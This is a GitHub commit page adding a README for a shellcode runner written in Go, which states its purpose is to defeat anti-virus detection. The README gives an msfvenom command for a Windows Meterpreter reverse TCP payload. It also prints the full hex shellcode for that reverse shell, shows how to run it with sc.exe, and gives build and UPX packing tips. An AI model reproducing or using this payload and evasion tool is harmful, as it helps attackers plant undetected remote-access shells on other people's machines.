Skip to content

Commit e2bc91b

Browse files
committed
Adding a readme
1 parent c024f20 commit e2bc91b

File tree

1 file changed

+29
-0
lines changed

1 file changed

+29
-0
lines changed

README.md

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
shellcode
2+
=========
3+
4+
This is a program to run shellcode as its own process, all from memory. This was
5+
written to defeat anti-virus detection.
6+
7+
Usage
8+
=====
9+
Use msfvenom or metasploit to generate a bit of shellcode as hex format:
10+
```
11+
$ msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444
12+
```
13+
14+
```
15+
c:\windows\temp>sc.exe fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a687f000001680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5
16+
```
17+
18+
Sometimes the shellcode is larger than the limit of a command line with
19+
arguments. Try putting the whole thing in a batch script instead.
20+
21+
Build
22+
=====
23+
24+
Standard go building steps. Set GOOS to `windows` and GOARCH to the same as your
25+
shellcode, either `386` or `amd64`. This can't detect the architecture of your
26+
shellcode.
27+
28+
The resulting binary is a little big, 2.1M, but compresses well with UPX,
29+
roughly 508K.

0 commit comments

Comments
 (0)